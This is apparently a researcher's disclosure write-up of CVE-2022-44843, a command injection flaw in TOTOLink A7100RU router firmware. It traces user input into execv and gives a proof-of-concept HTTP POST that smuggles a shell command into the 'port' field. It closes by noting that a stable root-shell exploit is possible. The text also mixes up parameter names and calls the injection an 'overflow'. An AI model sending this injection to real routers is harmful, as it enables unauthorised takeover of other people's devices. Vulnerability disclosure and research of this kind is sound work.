CVE-2022-44843: IOT_vuln/TOTOLink/A7100RU/1 at main · EPhaha/IOT_vuln

TOTOlink A7100RU Command injection vulnerability****Overview

• Manufacturer’s website information：http://totolink.net/
• Firmware download address ： http://totolink.net/home/menu/detail/menu_listtpl/download/id/185/ids/36.html

1. Affected version

Figure 1 shows the latest firmware Ba of the router

2.Vulnerability details

The content obtained by the program through the iptvver parameter is passed to v19, and then v19 is brought into UCI_ Set_ Within STR function

Format the A4 matched content into V11 through snprintf function, and then bring V11 into cstesystem function

The function directly brings user input into the execv function, which has a command injection vulnerability

3.Recurring vulnerabilities and POC

In order to reproduce the vulnerability, the following steps can be followed:

1. Use the fat simulation firmware V7.4cu.2313_B20191024

2. Attack with the following overflow POC attacks

   POST /cgi-bin/cstecgi.cgi HTTP/1.1 Host: 192.168.0.1 Content-Length: 79 Accept: / X-Requested-With: XMLHttpRequest User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.66 Safari/537.36 Content-Type: application/x-www-form-urencoded; charset=UTF-8 Origin: http://192.168.0.1 Referer: http://192.168.0.1/adm/status.asp?timestamp=1647872753309 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Cookie: SESSION_ID=2:1647872744:2 Connection: close

   {"topicurl":"setting/setOpenVpnClientCfg", "port":"1$(ls>/tmp/123;)"}

The reproduction results are as follows:

Figure 2 POC attack effect

Finally, you can write exp, which can achieve a very stable effect of obtaining the root shell